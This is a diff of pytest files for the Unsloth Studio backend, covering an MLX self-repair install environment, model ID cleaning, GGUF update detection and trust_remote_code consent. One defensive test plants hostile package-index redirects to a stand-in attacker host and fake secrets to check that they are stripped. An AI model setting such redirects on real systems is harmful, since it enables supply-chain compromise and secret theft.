+    assert mr.attempt_mlx_repair() is True
+    assert mr._ONLY_BINARY_ARG in captured["cmd"]
+
+
+def test_install_env_drops_secrets_and_source_redirects(monkeypatch):
+    # The unattended self-heal must not hand resolver/build code the full Studio
+    # environment: secrets and package-source redirects are dropped, while the
+    # variables uv genuinely needs are forwarded.
+    monkeypatch.setenv("HF_TOKEN", "secret-hf")
+    monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "secret-aws")
+    monkeypatch.setenv("WANDB_API_KEY", "secret-wandb")
+    monkeypatch.setenv("UV_FIND_LINKS", "/tmp/evil")
+    monkeypatch.setenv("UV_DEFAULT_INDEX", "file:///tmp/evil-index")
+    monkeypatch.setenv("UV_INDEX_URL", "https://evil.example/simple")
+    monkeypatch.setenv("PIP_INDEX_URL", "https://evil.example/simple")
+    monkeypatch.setenv("UV_CACHE_DIR", "/tmp/evil-cache")
+    monkeypatch.setenv("XDG_CACHE_HOME", "/tmp/evil-xdg-cache")
+    monkeypatch.setenv("PATH", "/usr/bin:/bin")
+    monkeypatch.setenv("HOME", "/home/studio")
+
+    env = mr._mlx_install_env()
+
+    # Secrets never reach a (potentially malicious) build/install hook.
+    for secret in ("HF_TOKEN", "AWS_SECRET_ACCESS_KEY", "WANDB_API_KEY"):
+        assert secret not in env
+    # A poisoned process env cannot repoint the install at a hostile source or
+    # an attacker-staged cache (cache poisoning / symlink writes).
+    for redirect in (
+        "UV_FIND_LINKS",
+        "UV_DEFAULT_INDEX",
+        "UV_INDEX_URL",
+        "PIP_INDEX_URL",
+        "UV_CACHE_DIR",
+        "XDG_CACHE_HOME",
+    ):
+        assert redirect not in env
+    # What uv genuinely needs is still forwarded.
+    assert env["PATH"] == "/usr/bin:/bin"
+    assert env["HOME"] == "/home/studio"
+    # UV_OVERRIDE is set by us (not inherited), so a poisoned one is ignored.
+    assert env.get("UV_OVERRIDE", "").endswith("overrides-darwin-arm64.txt")
+
+
 def test_repair_rejects_inadequate_stack(monkeypatch):
     # A successful uv run that still leaves an old/missing mlx-vlm must NOT clear
     # chat-only: attempt_mlx_repair returns False so Train/Export stay disabled.
@@ -209,6 +271,29 @@ def test_stack_available_requires_runtime_imports_and_versions(monkeypatch):
     assert imported == list(mr._MLX_RUNTIME_IMPORTS)
 
 
+def test_mlx_packages_exclude_known_bad_mlx_lm():
+    # mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5); the install spec
+    # must exclude it so the resolver picks 0.31.2 or >=0.31.4. See mlx-lm #1242.
+    (mlx_lm_spec,) = [p for p in mr.MLX_PACKAGES if p.startswith("mlx-lm")]
+    assert mlx_lm_spec == "mlx-lm>=0.22.0,!=0.31.3"
+
+
+@pytest.mark.parametrize("bad_form", ["0.31.3", "0.31.3.0"])
+def test_known_bad_installed_mlx_lm_triggers_repair(monkeypatch, bad_form):
+    # An installed 0.31.3 counts as unsatisfied so the self-heal replaces it;
+    # parsed-Version compare also catches the trailing-zero form 0.31.3.0.
+    import importlib.metadata as metadata
+
+    def _version(name):
+        return bad_form if name == "mlx-lm" else mr._MLX_MIN_VERSIONS[name]
+
+    monkeypatch.setattr(metadata, "version", _version)
+    monkeypatch.setattr(
+        mr.importlib, "import_module", lambda _n: pytest.fail("versions must gate imports")
+    )
+    assert mr.mlx_stack_available() is False
+
+
 def test_no_op_off_apple_silicon(monkeypatch):
     monkeypatch.setattr(mr, "is_apple_silicon", lambda: False)
     called = {"n": 0}
@@ -276,3 +361,22 @@ def test_attempts_only_once_per_process(monkeypatch):
     second = mr.start_mlx_autorepair_if_needed()
     assert first is True
     assert second is False  # guard prevents a second concurrent attempt
+
+
+def test_mlx_install_env_routes_uv_override_through_safe_path(monkeypatch):
+    # uv truncates UV_OVERRIDE at the first space (issue #6503).
+    seen = {}
+
+    def _spy(path):
+        seen["path"] = path
+        return "/space free/marker.txt".replace(" ", "_")
+
+    monkeypatch.setattr(mr, "uv_safe_path", _spy)
+    monkeypatch.delenv("UV_OVERRIDE", raising = False)
+
+    env = mr._mlx_install_env()
+
+    # The override file ships in the repo, so the helper must have run.
+    assert "path" in seen
+    assert str(seen["path"]).endswith("overrides-darwin-arm64.txt")
+    assert env["UV_OVERRIDE"] == "/space_free/marker.txt"
diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py
index dce5e27c08..14fc0933d0 100644
--- a/studio/backend/tests/test_mlx_training_worker_config.py
+++ b/studio/backend/tests/test_mlx_training_worker_config.py
@@ -76,7 +76,7 @@ def test_mlx_studio_optimizer_aliases_are_explicit():
 
 
 def test_mlx_studio_rejects_unknown_optimizer():
-    with pytest.raises(ValueError, match = "Unsupported optimizer for MLX training"):
+    with pytest.raises(ValueError, match = "Supported"):
         _normalize_mlx_studio_optimizer("adamw_typo")
 
 
diff --git a/studio/backend/tests/test_model_ids.py b/studio/backend/tests/test_model_ids.py
new file mode 100644
index 0000000000..f9116afec3
--- /dev/null
+++ b/studio/backend/tests/test_model_ids.py
@@ -0,0 +1,62 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.model_ids import model_id_matches, public_model_id  # noqa: E402
+
+
+def test_local_gguf_path_becomes_clean_stem():
+    assert public_model_id("/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf") == "Qwen3-30B-A3B-Q4_K_M"
+    assert public_model_id("/home/u/.cache/models/llama.gguf") == "llama"
+
+
+def test_hf_repo_id_unchanged():
+    assert public_model_id("unsloth/Qwen3-30B-A3B-GGUF") == "unsloth/Qwen3-30B-A3B-GGUF"
+    assert public_model_id("Qwen3-30B-A3B") == "Qwen3-30B-A3B"
+
+
+def test_none_and_empty_passthrough():
+    assert public_model_id(None) is None
+    assert public_model_id("") == ""
+
+
+def test_windows_path():
+    assert public_model_id("C:\\models\\foo.gguf") == "foo"
+    assert public_model_id("models\\sub\\bar.gguf") == "bar"
+
+
+def test_directory_path_uses_basename():
+    assert public_model_id("/opt/models/MyModelDir") == "MyModelDir"
+    # A 3+ segment relative path is a local path, not an org/model repo id.
+    assert public_model_id("a/b/c") == "c"
+
+
+def test_relative_and_home_paths_are_sanitized():
+    # ./ ../ ~ prefixed paths are local and must not be echoed raw.
+    assert public_model_id("./model.gguf") == "model"
+    assert public_model_id("../models/foo.gguf") == "foo"
+    assert public_model_id("~/models/baz.gguf") == "baz"
+    assert public_model_id("./mistral") == "mistral"
+    assert public_model_id("~/mistral") == "mistral"
+    assert public_model_id(".\\models\\foo.gguf") == "foo"
+
+
+def test_dotted_repo_id_not_mistaken_for_relative_path():
+    # A leading dot that is not ./ or ../ is an ordinary clean name.
+    assert public_model_id(".hidden-model") == ".hidden-model"
+    assert public_model_id("org/.config") == "org/.config"
+
+
+def test_matches_clean_and_legacy():
+    path = "/srv/models/Qwen3-Q4.gguf"
+    assert model_id_matches("Qwen3-Q4", path)  # clean public id
+    assert model_id_matches(path, path)  # legacy raw path
+    assert not model_id_matches("other", path)
+    assert not model_id_matches(None, path)
+    assert not model_id_matches("x", None)
diff --git a/studio/backend/tests/test_model_update_robustness.py b/studio/backend/tests/test_model_update_robustness.py
new file mode 100644
index 0000000000..300eb587b3
--- /dev/null
+++ b/studio/backend/tests/test_model_update_robustness.py
@@ -0,0 +1,465 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+"""Tests for model-update detection and the GGUF force-download helper.
+
+Covers:
+  * GGUF variant listing computes update_available from the already-fetched
+    sibling metadata instead of a second Hub call.
+  * hf_hub_download_with_xet_fallback forwards force_download through the shim to the
+    shared unsloth_zoo helper (which owns the cache-first early-return and its bypass).
+
+The cache "Update" action now runs through the download manager as a normal
+managed download (so it shows in the Downloads panel with progress + cancel),
+so the old POST /api/models/update endpoint and its tests are gone. Update
+*detection* — the "Update available" cue — is still exercised here.
+"""
+
+import asyncio
+import sys
+import types
+from types import SimpleNamespace
+
+if "structlog" not in sys.modules:
+
+    class _DummyLogger:
+        def __getattr__(self, _name):
+            return lambda *a, **k: None
+
+    sys.modules["structlog"] = types.SimpleNamespace(
+        BoundLogger = _DummyLogger, get_logger = lambda *a, **k: _DummyLogger()
+    )
+
+import pytest
+from hub.services.models import cache_inventory as CI
+from hub.services.models import deletion as D
+from hub.services.models import gguf_variants as GV
+
+
+def _variants():
+    return [
+        SimpleNamespace(
+            filename = "model-Q4_K_M.gguf",
+            quant = "Q4_K_M",
+            display_label = None,
+            size_bytes = 1000,
+        ),
+        SimpleNamespace(
+            filename = "model-Q8_0.gguf",
+            quant = "Q8_0",
+            display_label = None,
+            size_bytes = 2000,
+        ),
+    ]
+
+
+def _seed_cache(tmp_path, repo_id, blob_ids, gguf_files):
+    repo = tmp_path / f"models--{repo_id.replace('/', '--')}"
+    snap = repo / "snapshots" / ("a" * 40)
+    snap.mkdir(parents = True, exist_ok = True)
+    for name, size in gguf_files.items():
+        (snap / name).write_bytes(b"\0" * size)
+    blobs = repo / "blobs"
+    blobs.mkdir(exist_ok = True)
+    for b in blob_ids:
+        (blobs / b).write_bytes(b"x")
+    return repo, snap, blobs
+
+
+@pytest.fixture
+def patch_hub_gguf(monkeypatch):
+    """Patch GGUF listing and cache scans for sibling-derived update checks."""
+
+    def _sibling(
+        path: str,
+        size: int,
+        sha = None,
+        *,
+        lfs_dict = False,
+        blob_id = None,
+    ):
+        if lfs_dict:
+            lfs = {"sha256": sha} if sha else {}
+        else:
+            lfs = SimpleNamespace(sha256 = sha) if sha else None
+        return SimpleNamespace(rfilename = path, size = size, lfs = lfs, blob_id = blob_id)
+
+    def _repo_info(repo_id: str, repo_path, files: list[tuple[str, str]]):
+        return SimpleNamespace(
+            repo_id = repo_id,
+            repo_type = "model",
+            repo_path = repo_path,
+            revisions = [
+                SimpleNamespace(
+                    files = [
+                        SimpleNamespace(
+                            file_name = name,
+                            blob_path = str(repo_path / "blobs" / blob),
+                        )
+                        for name, blob in files
+                    ]
+                )
+            ],
+        )
+
+    def _apply(tmp_path, repo_id: str, *, local_blob: str, remote_sibling):
+        with GV._VARIANT_HASH_LOCK:
+            GV._VARIANT_HASH_CACHE.clear()
+            GV._VARIANT_REQUIREMENT_CACHE.clear()
+            GV._VARIANT_REQUIREMENT_NEG_CACHE.clear()
+        repo, snap, _blobs = _seed_cache(
+            tmp_path,
+            repo_id,
+            blob_ids = [local_blob],
+            gguf_files = {"model-Q4_K_M.gguf": 1000},
+        )
+        monkeypatch.setattr(
+            GV,
+            "list_gguf_variants",
+            lambda r, hf_token = None: (_variants(), False, [remote_sibling]),
+            raising = True,
+        )
+        monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
+        monkeypatch.setattr(
+            CI,
+            "all_hf_cache_scans",
+            lambda: [
+                SimpleNamespace(
+                    repos = [
+                        _repo_info(
+                            repo_id,
+                            repo,
+                            [("model-Q4_K_M.gguf", local_blob)],
+                        )
+                    ]
+                )
+            ],
+        )
+
+    return SimpleNamespace(apply = _apply, sibling = _sibling)
+
+
+def _call(coro):
+    loop = asyncio.new_event_loop()
+    try:
+        return loop.run_until_complete(coro)
+    finally:
+        loop.close()
+
+
+# ── GGUF variant update detection ───────────────────────────────
+
+
+def test_variant_update_check_missing_remote_blob_id_is_not_phantom_update(
+    tmp_path, patch_hub_gguf
+):
+    """Missing sha/blob metadata is unknown, not update_available=True."""
+    repo = "unsloth/gemma-3-4b-it-GGUF"
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "oldsha",
+        remote_sibling = patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, None),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    assert len(resp.variants) == 2
+    q4 = next(v for v in resp.variants if v.quant == "Q4_K_M")
+    assert q4.downloaded is True
+    assert q4.update_available is False
+
+
+def test_variant_update_check_detects_update_from_existing_siblings(tmp_path, patch_hub_gguf):
+    repo = "unsloth/gemma-3-4b-it-GGUF"
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "oldsha",
+        remote_sibling = patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "NEWsha"),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    q4 = next(v for v in resp.variants if v.quant == "Q4_K_M")
+    assert q4.update_available is True
+
+
+def test_variant_update_check_no_update_when_blob_matches(tmp_path, patch_hub_gguf):
+    repo = "unsloth/gemma-3-4b-it-GGUF"
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "samesha",
+        remote_sibling = patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "samesha"),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    q4 = next(v for v in resp.variants if v.quant == "Q4_K_M")
+    assert q4.update_available is False
+
+
+@pytest.mark.parametrize(
+    ("companion_path", "has_vision"),
+    [
+        ("mmproj-F16.gguf", True),
+        ("mtp-drafter-Q8_0.gguf", False),
+    ],
+)
+def test_variant_update_check_detects_companion_only_update(
+    monkeypatch, tmp_path, patch_hub_gguf, companion_path, has_vision
+):
+    repo_id = "unsloth/gemma-4-GGUF"
+    with GV._VARIANT_HASH_LOCK:
+        GV._VARIANT_HASH_CACHE.clear()
+        GV._VARIANT_REQUIREMENT_CACHE.clear()
+        GV._VARIANT_REQUIREMENT_NEG_CACHE.clear()
+    repo, snap, _blobs = _seed_cache(
+        tmp_path,
+        repo_id,
+        blob_ids = ["mainsha", "old-companion"],
+        gguf_files = {
+            "model-Q4_K_M.gguf": 1000,
+            companion_path: 100,
+        },
+    )
+    siblings = [
+        patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "mainsha"),
+        patch_hub_gguf.sibling(companion_path, 100, "new-companion"),
+    ]
+    monkeypatch.setattr(
+        GV,
+        "list_gguf_variants",
+        lambda r, hf_token = None: (_variants(), has_vision, siblings),
+        raising = True,
+    )
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
+    monkeypatch.setattr(
+        CI,
+        "all_hf_cache_scans",
+        lambda: [
+            SimpleNamespace(
+                repos = [
+                    SimpleNamespace(
+                        repo_id = repo_id,
+                        repo_type = "model",
+                        repo_path = repo,
+                        revisions = [
+                            SimpleNamespace(
+                                files = [
+                                    SimpleNamespace(
+                                        file_name = "model-Q4_K_M.gguf",
+                                        blob_path = str(repo / "blobs" / "mainsha"),
+                                    ),
+                                    SimpleNamespace(
+                                        file_name = companion_path,
+                                        blob_path = str(repo / "blobs" / "old-companion"),
+                                    ),
+                                ]
+                            )
+                        ],
+                    )
+                ]
+            )
+        ],
+    )
+
+    resp = _call(GV.get_gguf_variants_response(repo_id))
+    q4 = next(v for v in resp.variants if v.quant == "Q4_K_M")
+
+    assert q4.downloaded is True
+    assert q4.update_available is True
+
+
+def test_variant_update_check_accepts_lfs_dict_and_blob_id_fallback(tmp_path, patch_hub_gguf):
+    repo = "unsloth/gemma-3-4b-it-GGUF"
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "dictsha",
+        remote_sibling = patch_hub_gguf.sibling(
+            "model-Q4_K_M.gguf",
+            1000,
+            "dictsha",
+            lfs_dict = True,
+        ),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    assert next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False
+
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "blobid",
+        remote_sibling = patch_hub_gguf.sibling(
+            "model-Q4_K_M.gguf",
+            1000,
+            None,
+            blob_id = "blobid",
+        ),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    assert next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False
+
+
+def test_cached_model_scan_keeps_local_safetensors_repo(monkeypatch, tmp_path):
+    repo_path = tmp_path / "models--Org--SafeTensorRepo"
+    repo = SimpleNamespace(
+        repo_id = "Org/SafeTensorRepo",
+        repo_type = "model",
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "config.json",
+                        size_on_disk = 10,
+                        blob_path = None,
+                    ),
+                    SimpleNamespace(
+                        file_name = "model.safetensors",
+                        size_on_disk = 100,
+                        blob_path = str(repo_path / "blobs" / "modelsha"),
+                    ),
+                ]
+            )
+        ],
+    )
+    monkeypatch.setattr(
+        CI,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [repo])],
+    )
+    monkeypatch.setattr(
+        CI.hf_cache_scan,
+        "is_snapshot_partial",
+        lambda *args, **kwargs: False,
+    )
+
+    rows = CI._scan_cached_models()
+
+    assert len(rows) == 1
+    assert rows[0]["repo_id"] == "Org/SafeTensorRepo"
+    assert rows[0]["model_format"] == "safetensors"
+    assert rows[0]["size_bytes"] == 100
+
+
+# ── hf_hub_download_with_xet_fallback force_download bypass (X2/F2) ───
+
+
+def test_force_download_is_forwarded_through_the_shim(monkeypatch):
+    """The shim's contract is to forward force_download unchanged to the shared helper (which owns the
+    cache-first early-return and bypass). Verify both False and True reach it (X2/F2)."""
+    import utils.hf_xet_fallback as X
+
+    seen = []
+
+    def fake_shared(repo_id, filename, token, **kwargs):
+        seen.append(kwargs.get("force_download"))
+        return "/downloaded/path"
+
+    monkeypatch.setattr(X, "_shared_hf_hub_download_with_xet_fallback", fake_shared, raising = True)
+
+    X.hf_hub_download_with_xet_fallback(
+        "unsloth/repo", "model.gguf", token = None, force_download = False
+    )
+    X.hf_hub_download_with_xet_fallback(
+        "unsloth/repo", "model.gguf", token = None, force_download = True
+    )
+    assert seen == [False, True]  # the shim forwards force_download to the shared helper unchanged
+
+
+# ── multi-revision GGUF blob comparison and update reclaim ──
+#
+# Regression for the phantom "Update available" cue that lingered AFTER a model
+# was already updated. A re-download leaves BOTH the old and new revision
+# snapshots in the HF cache, so the same gguf file resolves to several blobs.
+# The local collection must keep ALL of them (a set per file), and stale hashes
+# must be pruned only after the replacement revision verifies.
+
+
+def _rev(*files):
+    return SimpleNamespace(
+        files = [SimpleNamespace(file_name = name, blob_path = f"/blobs/{blob}") for name, blob in files]
+    )
+
+
+def test_repo_gguf_blob_map_collects_all_revision_blobs():
+    """Every cached revision's blob for a gguf file is kept as a set, not
+    collapsed to one arbitrary blob."""
+    repo_info = SimpleNamespace(
+        revisions = [
+            _rev(("lfm2-350m-q4_k_m.gguf", "OLDsha")),
+            _rev(("lfm2-350m-q4_k_m.gguf", "NEWsha")),
+        ]
+    )
+    assert CI._repo_gguf_blob_map(repo_info) == {"lfm2-350m-q4_k_m.gguf": {"OLDsha", "NEWsha"}}
+
+
+def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp_path):
+    """After a verified update, stale same-variant files/blobs are removed while
+    the freshly downloaded hash and sibling variants remain cached."""
+    repo_id = "org/repo-GGUF"
+    repo_path = tmp_path / "models--org--repo-GGUF"
+    old_snap = repo_path / "snapshots" / ("a" * 40) / "model-Q4_K_M.gguf"
+    new_snap = repo_path / "snapshots" / ("b" * 40) / "model-Q4_K_M.gguf"
+    sibling_snap = repo_path / "snapshots" / ("b" * 40) / "model-Q8_0.gguf"
+    old_blob = repo_path / "blobs" / "OLDsha"
+    new_blob = repo_path / "blobs" / "NEWsha"
+    sibling_blob = repo_path / "blobs" / "Q8sha"
+    for path, payload in (
+        (old_snap, b"old"),
+        (new_snap, b"new"),
+        (sibling_snap, b"sibling"),
+        (old_blob, b"old-blob"),
+        (new_blob, b"new-blob"),
+        (sibling_blob, b"sibling-blob"),
+    ):
+        path.parent.mkdir(parents = True, exist_ok = True)
+        path.write_bytes(payload)
+
+    repo_info = SimpleNamespace(
+        repo_id = repo_id,
+        repo_type = "model",
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "model-Q4_K_M.gguf",
+                        file_path = str(old_snap),
+                        blob_path = str(old_blob),
+                    )
+                ]
+            ),
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "model-Q4_K_M.gguf",
+                        file_path = str(new_snap),
+                        blob_path = str(new_blob),
+                    ),
+                    SimpleNamespace(
+                        file_name = "model-Q8_0.gguf",
+                        file_path = str(sibling_snap),
+                        blob_path = str(sibling_blob),
+                    ),
+                ]
+            ),
+        ],
+    )
+    monkeypatch.setattr(
+        CI,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [repo_info])],
+    )
+    invalidated = []
+    monkeypatch.setattr(CI, "invalidate_hf_cache_scans", lambda: invalidated.append(True))
+
+    result = D.reclaim_replaced_gguf_variant(repo_id, "Q4_K_M", frozenset({"NEWsha"}))
+
+    assert result["removed_snapshots"] == 1
+    assert result["deleted_blobs"] == 1
+    assert result["removed_dirs"] == 1
+    assert old_snap.exists() is False
+    assert old_snap.parent.exists() is False
+    assert old_blob.exists() is False
+    assert new_snap.exists() is True
+    assert new_blob.exists() is True
+    assert sibling_snap.exists() is True
+    assert sibling_blob.exists() is True
+    assert invalidated == [True]
diff --git a/studio/backend/tests/test_native_template_trust_remote_code.py b/studio/backend/tests/test_native_template_trust_remote_code.py
new file mode 100644
index 0000000000..60dc80f64c
--- /dev/null
+++ b/studio/backend/tests/test_native_template_trust_remote_code.py
@@ -0,0 +1,176 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for trust_remote_code in the native-template fallback.
+
+``render_native_template`` re-fetches a model's native chat template from its
+repo when an Unsloth override template (mistral, gemma-4) dropped the tools
+schema. For a model loaded with ``trust_remote_code=True`` whose tokenizer repo
+carries custom code, the secondary ``AutoTokenizer.from_pretrained`` must re-use
+that same consent or transformers raises (it requires ``trust_remote_code`` to
+instantiate a custom tokenizer class), the ``except`` swallows it, and the
+request silently keeps the tool-dropping prompt even though the user already
+consented to remote code for the model load.
+
+These tests pin that the stored ``trust_remote_code`` is threaded to the reload,
+that the reload is skipped (returns ``None`` without executing code) when no
+consent is stored, and that both backend ``model_info`` dicts persist the flag at
+load time so the read lands on a value ``load_model`` actually set.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# ``chat_template_helpers`` is dependency-light (copy / logging / typing, with the
+# transformers import deferred inside the function). Load it directly so the test
+# runs without importing the heavy ``core.inference`` package (unsloth / torch).
+_HELPERS_PATH = Path(_BACKEND_DIR) / "core" / "inference" / "chat_template_helpers.py"
+_spec = importlib.util.spec_from_file_location("_native_tpl_trc_test", _HELPERS_PATH)
+chat_template_helpers = importlib.util.module_from_spec(_spec)
+_spec.loader.exec_module(chat_template_helpers)
+
+render_native_template = chat_template_helpers.render_native_template
+
+
+# A native template that emits a tools section only when tools are provided, so the
+# with-tools vs no-tools render differs and ``render_native_template`` accepts it.
+_NATIVE_TEMPLATE = (
+    "{% for m in messages %}{{ m['role'] }}: {{ m['content'] }}\n{% endfor %}"
+    "{% if tools %}[AVAILABLE_TOOLS]{{ tools }}[/AVAILABLE_TOOLS]\n{% endif %}"
+    "{% if add_generation_prompt %}assistant:{% endif %}"
+)
+
+_MESSAGES = [{"role": "user", "content": "what is the weather"}]
+_TOOLS = [{"type": "function", "function": {"name": "get_weather"}}]
+
+
+class _JinjaTokenizer:
+    """Minimal tokenizer whose ``apply_chat_template`` renders ``self.chat_template``.
+
+    Stands in for the live model tokenizer that ``render_native_template`` shallow-
+    copies and re-points at the native template before rendering.
+    """
+
+    def __init__(self, chat_template):
+        self.chat_template = chat_template
+
+    def apply_chat_template(
+        self,
+        messages,
+        tokenize = False,
+        add_generation_prompt = True,
+        tools = None,
+        **kwargs,
+    ):
+        from jinja2 import BaseLoader, Environment
+        env = Environment(loader = BaseLoader())
+        return env.from_string(self.chat_template).render(
+            messages = messages,
+            tools = tools,
+            add_generation_prompt = add_generation_prompt,
+        )
+
+
+def _install_custom_code_tokenizer(monkeypatch):
+    """Patch ``AutoTokenizer.from_pretrained`` to mimic a custom-code repo: raise
+    unless ``trust_remote_code`` is truthy, else return a tokenizer carrying the
+    native template. Records the ``trust_remote_code`` it was called with."""
+    pytest.importorskip("jinja2")
+    from transformers import AutoTokenizer
+
+    calls = {}
+
+    def fake_from_pretrained(
+        model_id,
+        *args,
+        trust_remote_code = False,
+        token = None,
+        **kwargs,
+    ):
+        calls["trust_remote_code"] = trust_remote_code
+        calls["model_id"] = model_id
+        calls["token"] = token
+        if not trust_remote_code:
+            # Mirrors transformers.dynamic_module_utils.resolve_trust_remote_code:
+            # has_remote_code and not has_local_code and not trust_remote_code -> ValueError.
+            raise ValueError(
+                f"The repository {model_id} contains custom code which must be executed "
+                "to correctly load the model. Please pass the argument "
+                "`trust_remote_code=True` to allow custom code to be run."
+            )
+        return _JinjaTokenizer(_NATIVE_TEMPLATE)
+
+    monkeypatch.setattr(AutoTokenizer, "from_pretrained", staticmethod(fake_from_pretrained))
+    return calls
+
+
+def _model_info(trust_remote_code):
+    return {
+        "native_chat_template": None,  # force the repo reload path
+        "base_model": None,  # non-LoRA: template_source == active_model_name
+        "trust_remote_code": trust_remote_code,
+        # Live tokenizer that gets shallow-copied + re-pointed at the native template.
+        "tokenizer": _JinjaTokenizer("OVERRIDE-THAT-DROPS-TOOLS"),
+    }
+
+
+def test_native_reload_passes_stored_trust_remote_code(monkeypatch):
+    """With ``trust_remote_code`` stored on ``model_info`` the custom-code reload
+    succeeds and the tools-advertising native prompt is returned. This FAILS before
+    the fix (reload omits the flag, raises, is swallowed, returns None)."""
+    calls = _install_custom_code_tokenizer(monkeypatch)
+    model_info = _model_info(trust_remote_code = True)
+
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "acme/custom-tokenizer-model",
+        messages = _MESSAGES,
+        tools = _TOOLS,
+    )
+
+    assert out is not None, "native fallback should render the tools prompt with consent"
+    assert "[AVAILABLE_TOOLS]" in out
+    assert "get_weather" in out
+    assert calls["trust_remote_code"] is True  # the stored consent was threaded through
+    # A successful fetch is cached so the next tool turn skips the reload.
+    assert model_info["native_chat_template"] == _NATIVE_TEMPLATE
+
+
+def test_native_reload_without_consent_returns_none(monkeypatch):
+    """Without stored consent the custom-code reload raises, is swallowed, and
+    ``render_native_template`` returns None (no unconsented code execution). Proves
+    the stored flag -- not a hard-coded True -- drives the reload."""
+    calls = _install_custom_code_tokenizer(monkeypatch)
+    model_info = _model_info(trust_remote_code = False)
+
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "acme/custom-tokenizer-model",
+        messages = _MESSAGES,
+        tools = _TOOLS,
+    )
+
+    assert out is None
+    assert calls["trust_remote_code"] is False
+    # A failed fetch must not be cached as "no template" (would pin the tool drop).
+    assert model_info["native_chat_template"] is None
+
+
+def test_backend_model_info_persists_trust_remote_code():
+    """Both backends must store ``trust_remote_code`` on their per-model info dict so
+    ``render_native_template`` can source the consent value. Guards against the read
+    landing on a key ``load_model`` never sets (which would silently no-op the fix)."""
+    inf = (Path(_BACKEND_DIR) / "core" / "inference" / "inference.py").read_text()
+    mlx = (Path(_BACKEND_DIR) / "core" / "inference" / "mlx_inference.py").read_text()
+    assert '"trust_remote_code": trust_remote_code,' in inf
+    assert '"trust_remote_code": trust_remote_code,' in mlx
diff --git a/studio/backend/tests/test_nudge_tool_calls_wiring.py b/studio/backend/tests/test_nudge_tool_calls_wiring.py
new file mode 100644
index 0000000000..e03fd0c7d7
--- /dev/null
+++ b/studio/backend/tests/test_nudge_tool_calls_wiring.py
@@ -0,0 +1,99 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Wiring guard for the plan-without-action ``nudge_tool_calls`` policy.
+
+Decided policy: the re-prompt is ALWAYS ON for the Studio inference paths
+(safetensors, GGUF/llama_cpp, MLX) and OPT-IN for the API (/v1 OpenAI-compat +
+Anthropic-compat, controlled by the request's ``nudge_tool_calls``, default off).
+
+Mechanism (verified here without loading a model):
+
+  * every backend tool-loop entry point accepts and forwards ``nudge_tool_calls``
+    (safetensors -> ``InferenceBackend``; MLX -> ``InferenceOrchestrator``; both
+    call the shared ``run_safetensors_tool_loop``; GGUF -> ``LlamaCppBackend``);
+  * the safetensors/MLX loop gates the retry on a truthy flag (new retry ->
+    opt-in), while the GGUF loop keeps its pre-existing default-on behaviour
+    (``None`` keeps nudging) so an omitted flag never disables GGUF;
+  * the API request models default the flag to ``None`` (opt-in / off);
+  * the Studio-facing routes forward the request's flag, and the Studio frontend
+    sends ``nudge_tool_calls: true`` -- exercised behaviourally in
+    ``test_safetensors_tool_loop.py`` and ``test_llama_cpp_tool_loop.py``.
+"""
+
+import inspect
+
+from core.inference.llama_cpp import LlamaCppBackend
+from core.inference.orchestrator import InferenceOrchestrator
+from core.inference.safetensors_agentic import run_safetensors_tool_loop
+
+try:
+    # core.inference.inference imports unsloth at module scope, which requires
+    # unsloth_zoo. The dependency-light backend CI matrix job does not install
+    # it, so the safetensors InferenceBackend is folded into the checks below
+    # only when the unsloth stack is importable (local runs / full CI); the
+    # other entry points are always checked.
+    from core.inference.inference import InferenceBackend
+except ImportError:
+    InferenceBackend = None
+
+
+def _params(fn):
+    return inspect.signature(fn).parameters
+
+
